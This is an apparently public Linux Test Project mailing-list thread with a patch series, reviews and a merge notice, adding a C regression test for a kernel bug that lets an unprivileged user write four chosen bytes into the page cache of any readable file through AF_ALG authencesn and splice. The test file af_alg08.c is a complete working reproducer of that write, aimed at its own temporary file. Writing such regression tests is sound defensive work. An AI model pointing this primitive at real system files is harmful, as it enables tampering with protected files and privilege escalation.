* [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer
@ 2026-04-30 13:30 Andrea Cervesato
2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato
` (2 more replies)
0 siblings, 3 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-04-30 13:30 UTC (permalink / raw)
To: Linux Test Project
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v2:
- tst_alg_sendmsg(): fix msg_flags to be send by sendmsg()
- cve-2026-31431 -> af_alg08
- use tst_alg_sendmsg()
- global fd cleanup
- mode 0444
- handle multiple -i iterations
- Link to v1: https://lore.kernel.org/r/20260430-cve-2026-31431-v1-1-7fdc16c25785@suse.com
---
Andrea Cervesato (2):
tst_af_alg: fixed msg_flags to be the sendmsg() flags
cve-2026-31431: Add page cache corruption reproducer
include/tst_af_alg.h | 2 +-
lib/tst_af_alg.c | 3 +-
runtest/cve | 1 +
testcases/kernel/crypto/.gitignore | 1 +
testcases/kernel/crypto/af_alg08.c | 164 +++++++++++++++++++++++++++++++++++++
5 files changed, 168 insertions(+), 3 deletions(-)
---
base-commit: 69b8169310425b8c5abd01d3fdb46f6d939e8a66
change-id: 20260430-cve-2026-31431-eda4297d56bc
Best regards,
--
Andrea Cervesato <andrea.cervesato@suse.com>
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread* [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags 2026-04-30 13:30 [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato @ 2026-04-30 13:30 ` Andrea Cervesato 2026-04-30 14:18 ` Cyril Hrubis 2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato 2026-04-30 17:10 ` [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato via ltp 2 siblings, 1 reply; 8+ messages in thread From: Andrea Cervesato @ 2026-04-30 13:30 UTC (permalink / raw) To: Linux Test Project From: Andrea Cervesato <andrea.cervesato@suse.com> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com> --- include/tst_af_alg.h | 2 +- lib/tst_af_alg.c | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/include/tst_af_alg.h b/include/tst_af_alg.h index 5c307ed0695103e67aac2f56d7ef6ecbd0a0b704..34f32e1d7755fa2dbd53d8bd76280cc730a6115a 100644 --- a/include/tst_af_alg.h +++ b/include/tst_af_alg.h @@ -167,7 +167,7 @@ struct tst_alg_sendmsg_params { /** If assoclen != 0, send ALG_SET_AEAD_ASSOCLEN */ unsigned int assoclen; - /* Value to use as msghdr::msg_flags */ + /** Flags to pass to sendmsg() (e.g. MSG_MORE) */ uint32_t msg_flags; }; diff --git a/lib/tst_af_alg.c b/lib/tst_af_alg.c index a14f9865c9a4efef70e82485448c8dfccdec37ed..93757278f1d299edd1aefa232644cc060b801a74 100644 --- a/lib/tst_af_alg.c +++ b/lib/tst_af_alg.c @@ -198,7 +198,6 @@ void tst_alg_sendmsg(int reqfd, const void *data, size_t datalen, struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1, - .msg_flags = params->msg_flags, }; size_t controllen; uint8_t *control; @@ -249,5 +248,5 @@ void tst_alg_sendmsg(int reqfd, const void *data, size_t datalen, cmsg = CMSG_NXTHDR(&msg, cmsg); } - SAFE_SENDMSG(datalen, reqfd, &msg, 0); + SAFE_SENDMSG(datalen, reqfd, &msg, params->msg_flags); } -- 2.51.0 -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply related [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags 2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato @ 2026-04-30 14:18 ` Cyril Hrubis 0 siblings, 0 replies; 8+ messages in thread From: Cyril Hrubis @ 2026-04-30 14:18 UTC (permalink / raw) To: Andrea Cervesato; +Cc: Linux Test Project Hi! Reviewed-by: Cyril Hrubis <chrubis@suse.cz> -- Cyril Hrubis chrubis@suse.cz -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply [flat|nested] 8+ messages in thread
* [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer 2026-04-30 13:30 [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato 2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato @ 2026-04-30 13:30 ` Andrea Cervesato 2026-04-30 14:06 ` Martin Doucha 2026-04-30 15:46 ` Cyril Hrubis 2026-04-30 17:10 ` [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato via ltp 2 siblings, 2 replies; 8+ messages in thread From: Andrea Cervesato @ 2026-04-30 13:30 UTC (permalink / raw) To: Linux Test Project From: Andrea Cervesato <andrea.cervesato@suse.com> A logic bug in authencesn allows an unprivileged user to corrupt 4 bytes of page cache via AF_ALG + splice. The test writes known data to a file, attempts corruption through the AEAD scratch-write path, and verifies whether the file content was modified. Tested-by: Avinesh Kumar <avinesh.kumar@suse.com> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com> --- runtest/cve | 1 + testcases/kernel/crypto/.gitignore | 1 + testcases/kernel/crypto/af_alg08.c | 164 +++++++++++++++++++++++++++++++++++++ 3 files changed, 166 insertions(+) diff --git a/runtest/cve b/runtest/cve index c3ecd74dd9f837924b810b7b431ebb911d809966..74300fb546a071ef2d1de3a02549eed35c9a57a4 100644 --- a/runtest/cve +++ b/runtest/cve @@ -93,3 +93,4 @@ cve-2022-0185 fsconfig03 cve-2022-4378 cve-2022-4378 cve-2025-38236 cve-2025-38236 cve-2025-21756 cve-2025-21756 +cve-2026-31431 af_alg08 diff --git a/testcases/kernel/crypto/.gitignore b/testcases/kernel/crypto/.gitignore index 448f986a6acc1341eac052ae9663e8fe28e18d4d..aca016b62110b319eb2825669ce23f5b3608c73e 100644 --- a/testcases/kernel/crypto/.gitignore +++ b/testcases/kernel/crypto/.gitignore @@ -5,6 +5,7 @@ af_alg04 af_alg05 af_alg06 af_alg07 +af_alg08 pcrypt_aead01 crypto_user01 crypto_user02 diff --git a/testcases/kernel/crypto/af_alg08.c b/testcases/kernel/crypto/af_alg08.c new file mode 100644 index 0000000000000000000000000000000000000000..06166b6244c1d72e03e3ff8d7e87b1b3b76e93a9 --- /dev/null +++ b/testcases/kernel/crypto/af_alg08.c @@ -0,0 +1,164 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> + */ + +/*\ + * Test for CVE-2026-31431 ("Copy Fail") fixed in kernel v7.0: + * a664bf3d603d ("crypto: algif_aead - Separate src from dst") + * + * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended + * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes + * into the page cache of any readable file. During AEAD decryption, + * authencesn uses the destination scatterlist as scratch space for ESN byte + * rearrangement. When data is spliced from a file into an AF_ALG socket, the + * 2017 in-place optimization (72548b093ee3) places page cache pages into the + * writable destination scatterlist. authencesn's scratch write then corrupts + * those pages. + * + * The test creates a file with known data, attempts page cache corruption via + * the AF_ALG + splice technique, and verifies whether the file content was + * modified. + * + * Reproducer based on: + * https://github.com/theori-io/copy-fail-CVE-2026-31431 + */ + +#include "tst_test.h" +#include "tst_af_alg.h" +#include "lapi/socket.h" +#include "lapi/splice.h" + +#define TESTFILE "copy_fail" +#define OVERWRITE_SIZE 4 +#define AEAD_AUTHSIZE 4 +#define AEAD_ASSOCLEN 8 +#define AES_IV_SIZE 16 +#define SPI_SIZE 4 + +static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' }; +static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' }; + +/* + * authenc key format: struct rtattr header (8 bytes) + + * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes) + */ +static const uint8_t authenc_key[] = { + 0x08, 0x00, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x10, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +}; + +static int algfd = -1; +static int reqfd = -1; +static int pipefd[2] = { -1, -1 }; +static int file_fd = -1; + +static void try_corrupt(void) +{ + const uint8_t iv[AES_IV_SIZE] = { 0 }; + uint8_t aad[AEAD_ASSOCLEN]; + char recvbuf[AEAD_ASSOCLEN]; + loff_t off_in = 0; + + algfd = -1; + reqfd = -1; + pipefd[0] = -1; + pipefd[1] = -1; + + /* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */ + memset(aad, 'A', SPI_SIZE); + memcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE); + + algfd = tst_alg_setup("aead", "authencesn(hmac(sha256),cbc(aes))", + authenc_key, sizeof(authenc_key)); + SAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, + AEAD_AUTHSIZE); + + reqfd = tst_alg_accept(algfd); + + const struct tst_alg_sendmsg_params params = { + .decrypt = true, + .iv = iv, + .ivlen = AES_IV_SIZE, + .assoclen = AEAD_ASSOCLEN, + .msg_flags = MSG_MORE, + }; + + tst_alg_sendmsg(reqfd, aad, sizeof(aad), ¶ms); + + SAFE_PIPE(pipefd); + + TEST(splice(file_fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0)); + if (TST_RET < 0) + tst_brk(TBROK | TTERRNO, "splice(file -> pipe)"); + + TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0)); + if (TST_RET < 0) + tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)"); + + /* Expected to fail (invalid ciphertext); triggers the scratch write */ + TST_EXP_FAIL_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), EBADMSG); + + SAFE_CLOSE(pipefd[0]); + SAFE_CLOSE(pipefd[1]); + SAFE_CLOSE(reqfd); + SAFE_CLOSE(algfd); +} + +static void run(void) +{ + int fd; + uint8_t readback[OVERWRITE_SIZE]; + + fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444); + SAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE); + SAFE_CLOSE(fd); + + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY); + try_corrupt(); + SAFE_CLOSE(file_fd); + + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY); + SAFE_READ(1, file_fd, readback, sizeof(readback)); + SAFE_CLOSE(file_fd); + + if (memcmp(readback, original, OVERWRITE_SIZE) != 0) + tst_res(TFAIL, "Page cache was corrupted via AF_ALG splice"); + else + tst_res(TPASS, "Page cache was not corrupted"); + + SAFE_UNLINK(TESTFILE); +} + +static void cleanup(void) +{ + if (pipefd[0] != -1) + SAFE_CLOSE(pipefd[0]); + + if (pipefd[1] != -1) + SAFE_CLOSE(pipefd[1]); + + if (reqfd != -1) + SAFE_CLOSE(reqfd); + + if (algfd != -1) + SAFE_CLOSE(algfd); + + if (file_fd != -1) + SAFE_CLOSE(file_fd); +} + +static struct tst_test test = { + .test_all = run, + .cleanup = cleanup, + .needs_tmpdir = 1, + .tags = (const struct tst_tag[]) { + {"linux-git", "a664bf3d603d"}, + {"CVE", "2026-31431"}, + {} + }, +}; -- 2.51.0 -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply related [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer 2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato @ 2026-04-30 14:06 ` Martin Doucha 2026-04-30 14:31 ` Andrea Cervesato via ltp 2026-04-30 15:46 ` Cyril Hrubis 1 sibling, 1 reply; 8+ messages in thread From: Martin Doucha @ 2026-04-30 14:06 UTC (permalink / raw) To: Andrea Cervesato, Linux Test Project Hi, let's add the test to runtest/crypto as well during merge. One minor nit below, otherwise for both patches: Reviewed-by: Martin Doucha <mdoucha@suse.cz> On 4/30/26 15:30, Andrea Cervesato wrote: > From: Andrea Cervesato <andrea.cervesato@suse.com> > > A logic bug in authencesn allows an unprivileged user to corrupt > 4 bytes of page cache via AF_ALG + splice. The test writes known > data to a file, attempts corruption through the AEAD scratch-write > path, and verifies whether the file content was modified. > > Tested-by: Avinesh Kumar <avinesh.kumar@suse.com> > Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com> > --- > runtest/cve | 1 + > testcases/kernel/crypto/.gitignore | 1 + > testcases/kernel/crypto/af_alg08.c | 164 +++++++++++++++++++++++++++++++++++++ > 3 files changed, 166 insertions(+) > > diff --git a/runtest/cve b/runtest/cve > index c3ecd74dd9f837924b810b7b431ebb911d809966..74300fb546a071ef2d1de3a02549eed35c9a57a4 100644 > --- a/runtest/cve > +++ b/runtest/cve > @@ -93,3 +93,4 @@ cve-2022-0185 fsconfig03 > cve-2022-4378 cve-2022-4378 > cve-2025-38236 cve-2025-38236 > cve-2025-21756 cve-2025-21756 > +cve-2026-31431 af_alg08 > diff --git a/testcases/kernel/crypto/.gitignore b/testcases/kernel/crypto/.gitignore > index 448f986a6acc1341eac052ae9663e8fe28e18d4d..aca016b62110b319eb2825669ce23f5b3608c73e 100644 > --- a/testcases/kernel/crypto/.gitignore > +++ b/testcases/kernel/crypto/.gitignore > @@ -5,6 +5,7 @@ af_alg04 > af_alg05 > af_alg06 > af_alg07 > +af_alg08 > pcrypt_aead01 > crypto_user01 > crypto_user02 > diff --git a/testcases/kernel/crypto/af_alg08.c b/testcases/kernel/crypto/af_alg08.c > new file mode 100644 > index 0000000000000000000000000000000000000000..06166b6244c1d72e03e3ff8d7e87b1b3b76e93a9 > --- /dev/null > +++ b/testcases/kernel/crypto/af_alg08.c > @@ -0,0 +1,164 @@ > +// SPDX-License-Identifier: GPL-2.0-or-later > +/* > + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> > + */ > + > +/*\ > + * Test for CVE-2026-31431 ("Copy Fail") fixed in kernel v7.0: > + * a664bf3d603d ("crypto: algif_aead - Separate src from dst") > + * > + * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended > + * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes > + * into the page cache of any readable file. During AEAD decryption, > + * authencesn uses the destination scatterlist as scratch space for ESN byte > + * rearrangement. When data is spliced from a file into an AF_ALG socket, the > + * 2017 in-place optimization (72548b093ee3) places page cache pages into the > + * writable destination scatterlist. authencesn's scratch write then corrupts > + * those pages. > + * > + * The test creates a file with known data, attempts page cache corruption via > + * the AF_ALG + splice technique, and verifies whether the file content was > + * modified. > + * > + * Reproducer based on: > + * https://github.com/theori-io/copy-fail-CVE-2026-31431 > + */ > + > +#include "tst_test.h" > +#include "tst_af_alg.h" > +#include "lapi/socket.h" > +#include "lapi/splice.h" > + > +#define TESTFILE "copy_fail" > +#define OVERWRITE_SIZE 4 > +#define AEAD_AUTHSIZE 4 > +#define AEAD_ASSOCLEN 8 > +#define AES_IV_SIZE 16 > +#define SPI_SIZE 4 > + > +static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' }; > +static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' }; > + > +/* > + * authenc key format: struct rtattr header (8 bytes) + > + * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes) > + */ > +static const uint8_t authenc_key[] = { > + 0x08, 0x00, 0x01, 0x00, > + 0x00, 0x00, 0x00, 0x10, > + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > +}; > + > +static int algfd = -1; > +static int reqfd = -1; > +static int pipefd[2] = { -1, -1 }; > +static int file_fd = -1; > + > +static void try_corrupt(void) > +{ > + const uint8_t iv[AES_IV_SIZE] = { 0 }; > + uint8_t aad[AEAD_ASSOCLEN]; > + char recvbuf[AEAD_ASSOCLEN]; > + loff_t off_in = 0; > + > + algfd = -1; > + reqfd = -1; > + pipefd[0] = -1; > + pipefd[1] = -1; > + > + /* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */ > + memset(aad, 'A', SPI_SIZE); > + memcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE); > + > + algfd = tst_alg_setup("aead", "authencesn(hmac(sha256),cbc(aes))", > + authenc_key, sizeof(authenc_key)); > + SAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, > + AEAD_AUTHSIZE); > + > + reqfd = tst_alg_accept(algfd); > + > + const struct tst_alg_sendmsg_params params = { > + .decrypt = true, > + .iv = iv, > + .ivlen = AES_IV_SIZE, > + .assoclen = AEAD_ASSOCLEN, > + .msg_flags = MSG_MORE, > + }; > + > + tst_alg_sendmsg(reqfd, aad, sizeof(aad), ¶ms); > + > + SAFE_PIPE(pipefd); > + > + TEST(splice(file_fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0)); > + if (TST_RET < 0) > + tst_brk(TBROK | TTERRNO, "splice(file -> pipe)"); > + > + TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0)); > + if (TST_RET < 0) > + tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)"); > + > + /* Expected to fail (invalid ciphertext); triggers the scratch write */ > + TST_EXP_FAIL_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), EBADMSG); > + > + SAFE_CLOSE(pipefd[0]); > + SAFE_CLOSE(pipefd[1]); > + SAFE_CLOSE(reqfd); > + SAFE_CLOSE(algfd); > +} > + > +static void run(void) > +{ > + int fd; > + uint8_t readback[OVERWRITE_SIZE]; > + > + fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444); > + SAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE); > + SAFE_CLOSE(fd); Nit: Please use file_fd here. > + > + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY); > + try_corrupt(); > + SAFE_CLOSE(file_fd); > + > + file_fd = SAFE_OPEN(TESTFILE, O_RDONLY); > + SAFE_READ(1, file_fd, readback, sizeof(readback)); > + SAFE_CLOSE(file_fd); > + > + if (memcmp(readback, original, OVERWRITE_SIZE) != 0) > + tst_res(TFAIL, "Page cache was corrupted via AF_ALG splice"); > + else > + tst_res(TPASS, "Page cache was not corrupted"); > + > + SAFE_UNLINK(TESTFILE); > +} > + > +static void cleanup(void) > +{ > + if (pipefd[0] != -1) > + SAFE_CLOSE(pipefd[0]); > + > + if (pipefd[1] != -1) > + SAFE_CLOSE(pipefd[1]); > + > + if (reqfd != -1) > + SAFE_CLOSE(reqfd); > + > + if (algfd != -1) > + SAFE_CLOSE(algfd); > + > + if (file_fd != -1) > + SAFE_CLOSE(file_fd); > +} > + > +static struct tst_test test = { > + .test_all = run, > + .cleanup = cleanup, > + .needs_tmpdir = 1, > + .tags = (const struct tst_tag[]) { > + {"linux-git", "a664bf3d603d"}, > + {"CVE", "2026-31431"}, > + {} > + }, > +}; > -- Martin Doucha mdoucha@suse.cz SW Quality Engineer SUSE LINUX, s.r.o. CORSO IIa Krizikova 148/34 186 00 Prague 8 Czech Republic -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer 2026-04-30 14:06 ` Martin Doucha @ 2026-04-30 14:31 ` Andrea Cervesato via ltp 0 siblings, 0 replies; 8+ messages in thread From: Andrea Cervesato via ltp @ 2026-04-30 14:31 UTC (permalink / raw) To: Martin Doucha; +Cc: Linux Test Project Hi Martin, > Nit: Please use file_fd here. Uops...im gonna fix it on push. thanks for the review. -- Andrea Cervesato SUSE QE Automation Engineer Linux andrea.cervesato@suse.com -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer 2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato 2026-04-30 14:06 ` Martin Doucha @ 2026-04-30 15:46 ` Cyril Hrubis 1 sibling, 0 replies; 8+ messages in thread From: Cyril Hrubis @ 2026-04-30 15:46 UTC (permalink / raw) To: Andrea Cervesato; +Cc: Linux Test Project Hi! > + TEST(splice(file_fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0)); > + if (TST_RET < 0) > + tst_brk(TBROK | TTERRNO, "splice(file -> pipe)"); > + > + TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0)); > + if (TST_RET < 0) > + tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)"); I guess that we should add SAFE_SPLICE() but we can as well do that on the top of this patch. Reviewed-by: Cyril Hrubis <chrubis@suse.cz> -- Cyril Hrubis chrubis@suse.cz -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer 2026-04-30 13:30 [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato 2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato 2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato @ 2026-04-30 17:10 ` Andrea Cervesato via ltp 2 siblings, 0 replies; 8+ messages in thread From: Andrea Cervesato via ltp @ 2026-04-30 17:10 UTC (permalink / raw) To: Andrea Cervesato; +Cc: Linux Test Project Merged, Thanks! -- Andrea Cervesato SUSE QE Automation Engineer Linux andrea.cervesato@suse.com -- Mailing list info: https://lists.linux.it/listinfo/ltp ^ permalink raw reply [flat|nested] 8+ messages in thread
end of thread, other threads:[~2026-04-30 17:10 UTC | newest] Thread overview: 8+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-04-30 13:30 [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato 2026-04-30 13:30 ` [LTP] [PATCH v2 1/2] tst_af_alg: fixed msg_flags to be the sendmsg() flags Andrea Cervesato 2026-04-30 14:18 ` Cyril Hrubis 2026-04-30 13:30 ` [LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption reproducer Andrea Cervesato 2026-04-30 14:06 ` Martin Doucha 2026-04-30 14:31 ` Andrea Cervesato via ltp 2026-04-30 15:46 ` Cyril Hrubis 2026-04-30 17:10 ` [LTP] [PATCH v2 0/2] cve-2026-31431 reproducer Andrea Cervesato via ltp
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox